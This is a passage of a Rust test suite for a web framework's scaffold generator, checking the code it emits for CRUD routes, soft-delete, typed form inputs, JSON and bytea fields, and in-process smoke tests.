test.contains(".assert_header(\"location\", \"/posts\")"),
"redirects must be asserted to target the index route: {test}"
);
// Update (happy path): POST to the `/update` route.
assert!(
test.contains(".post(\"/posts/1/update\")"),
"must POST to the update route: {test}"
);
// Delete: POST to the generated HTML `/delete` action (#1021).
assert!(
test.contains(".post(\"/posts/1/delete\")"),
"must POST to the HTML delete action: {test}"
);
// Validation failure: an invalid create re-renders at 422 with an inline
// error and the preserved input, and does NOT redirect.
assert!(
test.contains(".assert_status(422)"),
"invalid create must re-render at 422: {test}"
);
assert!(
test.contains("role=\\\"alert\\\""),
"invalid create must assert an inline (role=\"alert\") error: {test}"
);
}
#[test]
fn write_path_smoke_test_emits_redirect_persist_and_validation_shapes() {
// String-shape check (this test does not itself run the emitted test):
// assert the emitted handlers carry the constructs that give the
// generated test its failure power — a real redirect (not a 200
// meta-refresh), a cross-request store the create/update/delete mutate,
// a validation gate, and row-count reads. A broken generated handler
// (200 instead of a redirect, a no-op delete, a create that skips
// validation) would then turn the generated test red at runtime; that
// runtime red-spike is exercised by
// `generated_validated_scaffold_round_trip_test_passes` in
// `tests/generate.rs`.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
// A real redirect response (303 See Other via `Redirect::to`), not a
// 200 meta-refresh page — so `assert_status(303)` has teeth.
assert!(
test.contains("Redirect::to(\"/posts\")"),
"create/update/delete stand-ins must issue a real redirect: {test}"
);
// A real, cross-request store so persistence is observable on re-read —
// the create pushes, update mutates, delete removes.
assert!(
test.contains("STORE.lock().unwrap()"),
"handlers must read/write the shared store so persistence is observable: {test}"
);
assert!(
test.contains("store.push(") && test.contains(".retain("),
"create must persist and delete must remove from the store: {test}"
);
// The create actually gates on validation (the 422 branch is reachable).
assert!(
test.contains("form.into_valid()"),
"create must validate the submission through the real changeset round-trip: {test}"
);
// The follow-up read proves the row count changed (persist / delete),
// not just that a status code came back.
assert!(
test.contains(".assert_body_contains(\"1 row(s)\")")
&& test.contains(".assert_body_contains(\"0 row(s)\")"),
"reads must assert the row count so persistence/removal is observable: {test}"
);
}
#[test]
fn write_path_smoke_test_emits_csrf_posture_note() {
// Issue #1127: the write-path tests must account for CSRF. `TestApp`
// disables CSRF by default (mirroring the real form_for-injected token
// that the in-process harness does not require), and the emitted test
// documents that so the missing `_csrf` field is intentional, not a bug.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("CSRF"),
"the write-path test must document its CSRF posture: {test}"
);
}
// ── in-process TestApp/TestClient smoke test (issue #1023) ────────────
#[test]
fn smoke_test_uses_in_process_test_app_not_tcp_stream() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
// Uses the real in-process harness -- no raw sockets, no env-var gate.
assert!(
test.contains("autumn_web::test::{TestApp, TestClient, TestDb}"),
"smoke test must use the TestApp/TestClient/TestDb harness: {test}"
);
assert!(
!test.contains("TcpStream"),
"smoke test must not hand-roll a raw TCP request: {test}"
);
assert!(
!test.contains("AUTUMN_TEST_BASE_URL"),
"smoke test must not gate on a running server's base URL: {test}"
);
assert!(
!test.contains("eprintln!(\"skipping"),
"smoke test must not silently skip via an env-gated return: {test}"
);
// DB-backed handler: a Docker-backed test is a *visible* `ignored`,
// never a silent green pass, and carries an explicit reason.
assert!(
test.contains("#[ignore = \"requires Docker"),
"DB-backed smoke test must be explicitly #[ignore]d with a reason: {test}"
);
// Real assertions: 200 plus the rendered heading.
assert!(test.contains(".assert_ok()"));
assert!(test.contains(".assert_body_contains(\"Posts\")"));
}
#[test]
fn smoke_test_index_handler_returns_wrong_status_fails_the_assertion() {
// Red-phase spike: if the (re-declared) handler under test returned the
// wrong status or dropped the heading, `assert_ok`/`assert_body_contains`
// must be the thing that fails -- i.e. the test has real failure power,
// not just a status check that always trivially passes.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
test.contains("Ok(html! {"),
"handler must actually render Markup that assert_body_contains can inspect: {test}"
);
assert!(
test.contains("h1 { \"Posts\" }"),
"handler must render the heading the test asserts on: {test}"
);
// The count query touches the real (throwaway) database -- a broken
// query or handler bubbles up as an Err via `?`, which axum turns into
// a non-200 response, which `assert_ok()` then catches.
assert!(test.contains(".get_result(&mut db).await?;"));
}
#[test]
fn smoke_test_wires_dev_dependency_test_support() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(
cargo.contains("[dev-dependencies]"),
"Cargo.toml must have a [dev-dependencies] section: {cargo}"
);
assert!(
cargo.contains("test-support"),
"Cargo.toml must enable autumn-web's test-support feature for TestDb: {cargo}"
);
// Must not leak into the production dependency set.
let deps_section = cargo.split("[dev-dependencies]").next().unwrap();
assert!(
!deps_section.contains("test-support"),
"test-support must stay out of [dependencies]: {cargo}"
);
}
#[test]
fn destroying_the_only_scaffold_keeps_pre_existing_test_support_another_test_still_uses() {
// issue #1048 PR review: a project may already have `autumn-web`
// under `[dev-dependencies]` with `test-support` enabled for its
// OWN hand-written tests, independent of any scaffold.
// `ensure_dev_dependency_test_support` makes no Cargo.toml edit in
// that case, but the revert is still recorded unconditionally —
// must not strip `test-support` out from under that unrelated test
// when destroying the only scaffold.
let tmp = project_with_main(default_main());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname=\"x\"\n\n[dev-dependencies]\nautumn-web = { version = \"0.6\", features = [\"test-support\"] }\n",
)
.unwrap();
fs::create_dir_all(tmp.path().join("tests")).unwrap();
fs::write(
tmp.path().join("tests/hand_written.rs"),
"#[tokio::test]\nasync fn it_works() {\n let _db = autumn_web::test::TestDb::shared().await;\n}\n",
)
.unwrap();
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let destroy_plan = plan_scaffold(tmp.path(), "Post", &[], "99999999999999").unwrap();
destroy_plan.revert(Flags::default()).unwrap();
let cargo_after = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(
cargo_after.contains("test-support"),
"pre-existing test-support must survive — the hand-written test still uses \
TestDb: {cargo_after}"
);
}
#[test]
fn smoke_test_wires_dev_dependency_tokio_test_features() {
// Regression test (Codex review, issue #1023): the generated smoke
// test uses `#[tokio::test]`, which needs the `rt` and `macros`
// tokio features to compile. A project not created from `autumn
// new` -- like this test's bare Cargo.toml -- has no tokio
// dev-dependency at all, so without this wiring the generated test
// target would fail to compile (cargo test --tests still compiles
// #[ignore]d tests).
let tmp = project_with_main(default_main());
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags::default()).unwrap();
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
let tokio_line = cargo
.lines()
.find(|l| l.trim_start().starts_with("tokio"))
.unwrap_or_else(|| panic!("Cargo.toml must have a tokio dev-dependency: {cargo}"));
assert!(
tokio_line.contains("\"rt\"") && tokio_line.contains("\"macros\""),
"tokio dev-dependency must enable rt and macros for #[tokio::test]: {tokio_line}"
);
}
#[test]
fn delete_button_has_destructive_confirmation() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The delete button must require an explicit confirmation so a single
// misclick cannot silently destroy a row (AC: destructive confirmation).
assert!(
routes.contains(r#"onclick="return confirm("#) || routes.contains("hx-confirm="),
"delete button must have an onclick confirm or hx-confirm: {routes}"
);
}
#[test]
fn smoke_test_write_path_stays_in_process_never_over_a_socket() {
// The old create/delete round-trip test hit a *running server* over a
// raw TcpStream, gated on `AUTUMN_TEST_BASE_URL` -- the very
// false-positive-green pattern issue #1023 fixed. Issue #1127 restores
// write-path coverage (create -> redirect, update, delete, plus the
// validation-failure re-render) but it must stay in-process via the
// `TestApp`/`TestClient` harness -- never the old socket-based,
// env-gated, silently-skipping shape.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
// None of the old false-positive-green machinery may come back.
assert!(
!test.contains("TcpStream"),
"write-path tests must not hand-roll a raw TCP request: {test}"
);
assert!(
!test.contains("AUTUMN_TEST_BASE_URL"),
"write-path tests must not gate on a running server's base URL: {test}"
);
// The write-path suite is present and in-process alongside the read one:
// the index/read test, the write-path CRUD test, and (issue #1315) the
// CSV download test.
assert_eq!(
test.matches("#[tokio::test]").count(),
3,
"expected the read smoke test, the write-path CRUD test and the CSV \
export test: {test}"
);
assert!(test.contains("posts_index_renders_scaffolded_rows"));
assert!(test.contains("posts_write_path_crud"));
assert!(test.contains("posts_export_csv_downloads_a_spreadsheet"));
}
#[test]
fn dry_run_does_not_modify_main() {
let tmp = project_with_main(default_main());
let original = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
plan.execute(Flags {
dry_run: true,
force: false,
})
.unwrap();
let after = fs::read_to_string(tmp.path().join("src/main.rs")).unwrap();
assert_eq!(original, after);
}
#[test]
fn collision_lists_existing_files_without_force() {
let tmp = project_with_main(default_main());
// Pre-create one of the files so the next run collides.
let dir = tmp.path().join("src/models");
fs::create_dir_all(&dir).unwrap();
fs::write(dir.join("post.rs"), "// existing").unwrap();
let plan = plan_scaffold(tmp.path(), "Post", &[], "20260427000000").unwrap();
let err = plan.execute(Flags::default()).unwrap_err();
let msg = err.to_string();
assert!(msg.contains("post.rs"));
}
// ── Soft-delete scaffold generation (issue #689) ──────────────
#[test]
fn scaffold_soft_delete_destroy_handler_marks_deleted_at_not_physical_delete() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// The browser delete button must respect soft-delete: mark deleted_at,
// matching the soft-delete repository, instead of physically deleting.
assert!(
routes.contains("posts::deleted_at.eq(Some(chrono::Utc::now().naive_utc()))"),
"soft-delete destroy must mark deleted_at: {routes}"
);
assert!(
routes.contains("posts::deleted_at.is_null()"),
"soft-delete destroy must skip already-deleted rows so a repeat delete 404s: {routes}"
);
assert!(
!routes.contains("diesel::delete(posts::table.find(*id))"),
"soft-delete destroy must not physically delete the row: {routes}"
);
}
#[test]
fn scaffold_without_soft_delete_destroy_handler_physically_deletes() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
routes.contains("diesel::delete(posts::table.find(*id))"),
"non-soft-delete destroy must issue a physical delete: {routes}"
);
assert!(
!routes.contains("deleted_at.eq("),
"non-soft-delete destroy must not mark deleted_at: {routes}"
);
}
#[test]
fn scaffold_soft_delete_repository_annotation_includes_soft_delete() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
repo.contains("soft_delete"),
"repository file must include soft_delete in the #[repository] annotation: {repo}"
);
}
#[test]
fn scaffold_soft_delete_model_includes_deleted_at_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let model = fs::read_to_string(tmp.path().join("src/models/post.rs")).unwrap();
assert!(
model.contains("deleted_at"),
"model struct must include deleted_at field when soft_delete is enabled: {model}"
);
// Regression test: `deleted_at` must be excluded from `NewX`/`UpdateX`
// via `#[default]` -- it's DB-managed (NULL on insert, set only by the
// destroy handler), so neither the create nor update handler ever
// populates it. Without `#[default]` here, `#[model]` treats it as a
// required field and the generated `create` handler fails to compile
// (`NewPost { .. }` missing `deleted_at`).
assert!(
model.contains("#[default]\n pub deleted_at:"),
"deleted_at must be #[default] (DB-managed, excluded from NewX/UpdateX): {model}"
);
// Regression test: the model struct's field order must match the
// column order `create_table_sql_with_metadata_and_id`/
// `schema_table_block_with_id` emit for the migration and
// `schema.rs` (soft-delete field before `created_at`, which is
// always appended last). The `#[repository]` macro's generated
// insert-then-`RETURNING` query loads into this struct positionally,
// so a mismatched order produces a Diesel `CompatibleType` error at
// compile time rather than at the point of the actual typo.
let deleted_at_pos = model.find("pub deleted_at:").expect("deleted_at field");
let created_at_pos = model.find("pub created_at:").expect("created_at field");
assert!(
deleted_at_pos < created_at_pos,
"deleted_at must be declared before created_at, matching schema.rs's column order: {model}"
);
let schema = fs::read_to_string(tmp.path().join("src/schema.rs")).unwrap();
let schema_deleted_at_pos = schema.find("deleted_at ->").expect("deleted_at column");
let schema_created_at_pos = schema.find("created_at ->").expect("created_at column");
assert!(
schema_deleted_at_pos < schema_created_at_pos,
"schema.rs must declare deleted_at before created_at: {schema}"
);
}
#[test]
fn scaffold_soft_delete_smoke_test_table_includes_deleted_at() {
// Regression test (code review, issue #1023): the smoke test's
// throwaway CREATE TABLE must use the same soft-delete-augmented field
// list as the real migration, so it doesn't drift from the actual
// schema for --soft-delete models.
let tmp = project_with_main(default_main());
let plan = plan_scaffold_with_options(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
&ScaffoldOptions {
model: ModelOptions {
soft_delete: true,
..Default::default()
},
..Default::default()
},
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let migration = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_posts/up.sql"),
)
.unwrap();
let test = fs::read_to_string(tmp.path().join("tests/post.rs")).unwrap();
assert!(
migration.contains("deleted_at"),
"real migration must include deleted_at: {migration}"
);
assert!(
test.contains("deleted_at"),
"smoke test's throwaway table must match the real migration schema \
and include deleted_at for a --soft-delete model: {test}"
);
}
#[test]
fn scaffold_without_soft_delete_does_not_include_soft_delete_annotation() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let repo = fs::read_to_string(tmp.path().join("src/repositories/post.rs")).unwrap();
assert!(
!repo.contains("soft_delete"),
"repository without soft_delete must not include soft_delete annotation: {repo}"
);
}
#[test]
fn execute_writes_zero_js_multipart_attachment_handlers() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "avatar:Attachment".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Issue #1236: attachments upload with zero JavaScript via a plain
// `multipart/form-data` submit. The attachment is promoted to
// `FieldControl::File`, which renders a plain `<input type="file">`
// (no `.exclude` + hand-rolled append, no hidden key input) and flips
// the `form_for` `<form>` to `multipart/form-data`.
assert!(
routes.contains(".override_field(\"avatar\", autumn_web::form::FieldControl::File)"),
"{routes}"
);
assert!(!routes.contains(".exclude(\"avatar\")"), "{routes}");
assert!(
!routes.contains(
"input type=\"hidden\" name=\"avatar\" value=(changeset.field_value(\"avatar\")"
),
"no hidden presign-key input any more: {routes}"
);
// The create/update handlers take a Multipart body (last param) and
// stream file parts to the blob store — no `body: Bytes`, no presign
// dead-end (`complete_direct_upload`) in the default path.
assert!(
routes.contains("mut multipart: autumn_web::extract::Multipart"),
"{routes}"
);
assert!(
routes.contains(".save_to_blob_store(&*store, key).await?"),
"{routes}"
);
// The default code path must not CALL the presign helper (the header
// note may still mention `complete_direct_upload()` as an advanced
// opt-in — AC5 — so match the invocation, not the bare name).
assert!(
!routes.contains("complete_direct_upload(&"),
"default path must not call the presign helper: {routes}"
);
assert!(routes.contains("multipart.next_field().await?"), "{routes}");
// Preserve-on-update: an edit with no new file keeps the stored blob.
// Cloned, not moved, so `current` survives to the unique-violation 422
// re-render, which shows the currently stored attachment (issue #1236).
assert!(
routes.contains("new.avatar = avatar_blob.or(current.avatar.clone());"),
"{routes}"
);
// Create binds the streamed blob directly (None => NULL column).
assert!(routes.contains("new.avatar = avatar_blob;"), "{routes}");
// The attachment is NOT part of the urlencodable form struct any more,
// and `into_new` is sync (no `&state`), seeding the blob column to None.
assert!(routes.contains("pub struct PostForm"));
assert!(!routes.contains("pub avatar: Option<String>"), "{routes}");
assert!(!routes.contains("async fn into_new("), "{routes}");
assert!(routes.contains("fn into_new(form: &PostForm)"), "{routes}");
assert!(routes.contains("avatar: None,"), "{routes}");
// The header note documents the zero-JS multipart path and demotes the
// presign path to an advanced opt-in.
assert!(routes.contains("ZERO"), "{routes}");
assert!(routes.contains("save_to_blob_store"), "{routes}");
assert!(routes.contains("ADVANCED (opt-in)"), "{routes}");
// AC7 (storage + multipart feature auto-enable) needs a real
// `autumn-web` dependency line to modify, which this stub-Cargo.toml
// harness doesn't provide; it is proven end-to-end by the integration
// test `scaffold_attachment_emits_zero_js_multipart_handlers`.
}
#[test]
fn execute_writes_json_field_textarea_and_parse_on_write() {
// Issue #1341 AC1/AC5: `config:json` (required) and `settings:Option<json>`
// (nullable) — the generated form renders both as `<textarea>` controls,
// and the write path parses the submitted text as JSON, 400ing (not
// 500ing) on invalid input rather than deserializing it directly.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"config:json".into(),
"settings:Option<jsonb>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
let model = fs::read_to_string(tmp.path().join("src/models/post.rs")).unwrap();
let schema = fs::read_to_string(tmp.path().join("src/schema.rs")).unwrap();
let migration = fs::read_to_string(
tmp.path()
.join("migrations/20260427000000_create_posts/up.sql"),
)
.unwrap();
// AC2: the migration emits the JSONB column, `NOT NULL` for the
// required field and nullable for the `Option<jsonb>` one.
assert!(migration.contains("config JSONB NOT NULL"), "{migration}");
assert!(migration.contains("settings JSONB"), "{migration}");
assert!(
!migration.contains("settings JSONB NOT NULL"),
"{migration}"
);
// Form control: a real `<textarea>`, not the derived opaque-type
// fallback single-line text input.
assert!(
routes
.contains(".override_field(\"config\", autumn_web::form::FieldControl::Textarea)"),
"{routes}"
);
assert!(
routes.contains(
".override_field(\"settings\", autumn_web::form::FieldControl::Textarea)"
),
"{routes}"
);
// `PostForm` carries both fields as strings (the browser's wire shape),
// never the native `serde_json::Value` (which would silently wrap raw
// urlencoded text as a JSON *string* instead of parsing it).
assert!(routes.contains("pub config: String,"), "{routes}");
assert!(routes.contains("pub settings: Option<String>,"), "{routes}");
assert!(
!routes.contains("pub config: serde_json::Value"),
"{routes}"
);
// `into_new` parses via `serde_json::Value`'s `FromStr`, 400ing (not
// panicking/500ing) on invalid JSON — the same `bad_request_msg`
// pattern as decimal/enum/datetime fields, naming the field.
assert!(
routes.contains("form.config.parse::<serde_json::Value>()"),
"{routes}"
);
assert!(
routes.contains(
".map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"config: {err}\")))?"
),
"{routes}"
);
// Nullable: a blank textarea means "no value" (`None`), not a 400 —
// filtered before parsing, mirroring the nullable-`DateTime` pattern.
assert!(
routes.contains("form.settings.as_deref().filter(|value| !value.trim().is_empty())"),
"{routes}"
);
assert!(
routes.contains(".map(|value| value.parse::<serde_json::Value>())"),
"{routes}"
);
// The generated `#[model]` struct field is the real, native type —
// `serde_json::Value`/`Option<serde_json::Value>` — not the form's
// `String` shadow, and the diesel `schema.rs` token is `Jsonb`.
assert!(model.contains("pub config: serde_json::Value,"), "{model}");
assert!(
model.contains("pub settings: Option<serde_json::Value>,"),
"{model}"
);
assert!(schema.contains("config -> Jsonb,"), "{schema}");
assert!(schema.contains("settings -> Nullable<Jsonb>,"), "{schema}");
}
// ── Typed form-input widgets (issue #1131) ──────────────────────
#[test]
fn execute_writes_checkbox_for_bool_field() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "active:bool".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Bool fields map to a checkbox in the derived `FormModel`
// descriptors (issue #1135) — no per-field helper line and no
// `form_for` override needed in the routes file.
assert!(
!routes.contains("autumn_web::form::checkbox_input(&changeset"),
"{routes}"
);
assert!(
!routes.contains(".override_field(\"active\""),
"bool fields need no form_for override: {routes}"
);
assert!(
!routes.contains("input type=\"text\" name=\"active\""),
"bool field must not render input type=\"text\": {routes}"
);
// The form struct must default the bool so an unchecked submission
// (missing key) doesn't 400.
assert!(
routes.contains("#[serde(default)]\n pub active: bool,"),
"{routes}"
);
}
#[test]
fn execute_writes_select_for_nullable_bool_field() {
// A checkbox can't losslessly represent Option<bool> (no way to
// distinguish "leave false" from "set to null" when unchecked), so
// nullable bool fields must render a 3-option select instead.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "archived:Option<bool>".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(
!routes.contains("input type=\"checkbox\" name=\"archived\""),
"nullable bool must not render a checkbox: {routes}"
);
// A nullable bool maps to a 3-option select (unset/true/false) in the
// derived `FormModel` descriptors (issue #1135) — no per-field helper
// line and no `form_for` override needed in the routes file.
assert!(
!routes.contains("autumn_web::form::select_input(&changeset"),
"{routes}"
);
// …with the flag off. Under `--i18n` the derive's hardcoded
// `— Unset —`/`Yes`/`No` are user-facing English that has to be
// claimed, so an override IS emitted — see
// `a_nullable_bool_translates_its_own_options`.
assert!(
!routes.contains(".override_field(\"archived\""),
"nullable bool fields need no form_for override: {routes}"
);
// The form field is an Option<bool> so a blank submission stays None.
assert!(routes.contains("pub archived: Option<bool>,"), "{routes}");
}
#[test]
fn execute_writes_number_input_for_integer_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "views:i64".into(), "rank:i32".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Integer fields map to a stepped number control in the derived
// `FormModel` descriptors (issue #1135) — no per-field helper line
// and no `form_for` override needed in the routes file.
assert!(
!routes.contains("autumn_web::form::required_number_input(&changeset"),
"{routes}"
);
for field in ["views", "rank"] {
assert!(
!routes.contains(&format!(".override_field(\"{field}\"")),
"integer fields need no form_for override: {routes}"
);
}
assert!(
!routes.contains("input type=\"text\" name=\"views\""),
"{routes}"
);
}
#[test]
fn execute_writes_number_input_with_any_step_for_float_fields() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"price:f64".into(),
"weight:f32".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
// Float fields map to a free-step number control in the derived
// `FormModel` descriptors (issue #1135) — no per-field helper line
// and no `form_for` override needed in the routes file.
assert!(
!routes.contains("autumn_web::form::required_number_input(&changeset"),
"{routes}"
);
for field in ["price", "weight"] {
assert!(
!routes.contains(&format!(".override_field(\"{field}\"")),
"float fields need no form_for override: {routes}"
);
}
}
#[test]
fn execute_writes_number_input_reads_value_from_changeset() {
// A required numeric field is represented as a `String` on the form
// (issue #1124 review): `f64::default()` is `0.0`, a real value, not
// "blank" — a native-typed field would render `0` as the blank
// new-form's pre-filled value instead of leaving the input empty.
// `into_new` parses it back, and a bad value is a 400 (undecodable
// input), matching the enum/datetime convention.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&[
"title:String".into(),
"price:f64".into(),
"weight:Option<f32>".into(),
],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("pub price: String,"), "{routes}");
assert!(
routes.contains(
"price: form.price.parse::<f64>()\n .map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"price: {err}\")))?,"
),
"{routes}"
);
assert!(
routes.contains("price: row.price.to_string(),"),
"the edit-form seed copies the float from the row: {routes}"
);
// A nullable float of the same kind keeps its native Option<T> type —
// `None` is already blank, no String indirection needed.
assert!(routes.contains("pub weight: Option<f32>,"), "{routes}");
}
#[test]
fn execute_writes_required_references_field_as_string_on_form() {
// A required `references` (foreign key) field is `i64` at the model
// layer, same as any other required integer — it needs the same
// String-wire treatment as I32/I64/Uuid/Decimal (issue #1124 review):
// `i64::default()` is `0`, a real (and likely invalid) foreign key
// value, not "blank".
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Comment",
&["body:String".into(), "post:references".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/comments.rs")).unwrap();
assert!(routes.contains("pub post_id: String,"), "{routes}");
assert!(
routes.contains(
"post_id: form.post_id.parse::<i64>()\n .map_err(|err| autumn_web::AutumnError::bad_request_msg(format!(\"post_id: {err}\")))?,"
),
"{routes}"
);
assert!(
routes.contains("post_id: row.post_id.to_string(),"),
"{routes}"
);
}
#[test]
fn execute_writes_required_bytea_field_as_string_on_form() {
// `Vec<u8>` cannot deserialize from a single url-encoded value at all
// (issue #1124 review), so the form carries a `String`. That string
// is `\x` + hex (issue #2330): lossless, unlike UTF-8.
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "payload:Bytea".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("pub payload: String,"), "{routes}");
assert!(
routes.contains("payload: bytea_from_hex(&form.payload).map_err("),
"{routes}"
);
assert!(
routes.contains("payload: bytea_to_hex(&row.payload),"),
"{routes}"
);
assert!(!routes.contains("into_bytes()"), "{routes}");
}
#[test]
fn execute_writes_nullable_bytea_field_as_option_string_on_form() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "payload:Option<Bytea>".into()],
"20260427000000",
)
.unwrap();
plan.execute(Flags::default()).unwrap();
let routes = fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap();
assert!(routes.contains("pub payload: Option<String>,"), "{routes}");
assert!(
routes.contains(
"payload: form.payload.as_deref().filter(|value| !value.trim().is_empty()).map(bytea_from_hex).transpose()"
),
"{routes}"
);
assert!(
routes.contains("payload: row.payload.as_deref().map(bytea_to_hex),"),
"{routes}"
);
}
#[test]
fn bytea_helpers_are_emitted_only_where_used() {
// An unused `fn` is a `dead_code` warning in the generated app.
let routes_for = |cols: &[&str]| {
let tmp = project_with_main(default_main());
let cols: Vec<String> = cols.iter().map(|c| (*c).to_owned()).collect();
plan_scaffold(tmp.path(), "Post", &cols, "20260427000000")
.unwrap()
.execute(Flags::default())
.unwrap();
fs::read_to_string(tmp.path().join("src/routes/posts.rs")).unwrap()
};
let none = routes_for(&["title:String"]);
assert!(!none.contains("fn bytea_to_hex("), "{none}");
assert!(!none.contains("fn bytea_from_hex("), "{none}");
let used = routes_for(&["title:String", "payload:Bytea"]);
assert!(used.contains("fn bytea_to_hex("), "{used}");
assert!(used.contains("fn bytea_from_hex("), "{used}");
}
#[test]
fn the_bytea_hex_helpers_round_trip_non_utf8_bytes() {
// Compile the emitted helpers and run them. Use bytes that are not
// valid UTF-8. A UTF-8-safe fixture also passes with the lossy code.
let program = format!(
"{BYTEA_HEX_TO_FN}\n{BYTEA_HEX_FROM_FN}\n\
fn main() {{\n\
let raw: &[u8] = &[0xFF, 0xFE, 0x00, 0xC0, 0x80, 0xED, 0xA0, 0x80, 0x41];\n\
let text = bytea_to_hex(raw);\n\
assert_eq!(text, \"\\\\xfffe00c080eda08041\");\n\
assert_eq!(bytea_from_hex(&text).unwrap(), raw);\n\
assert_eq!(bytea_from_hex(\"\\\\xFFFE\").unwrap(), [0xFF, 0xFE]);\n\
assert_eq!(bytea_from_hex(\" \\\\x00ff \").unwrap(), [0x00, 0xFF]);\n\
assert_eq!(bytea_from_hex(\"\\\\x\").unwrap(), Vec::<u8>::new());\n\
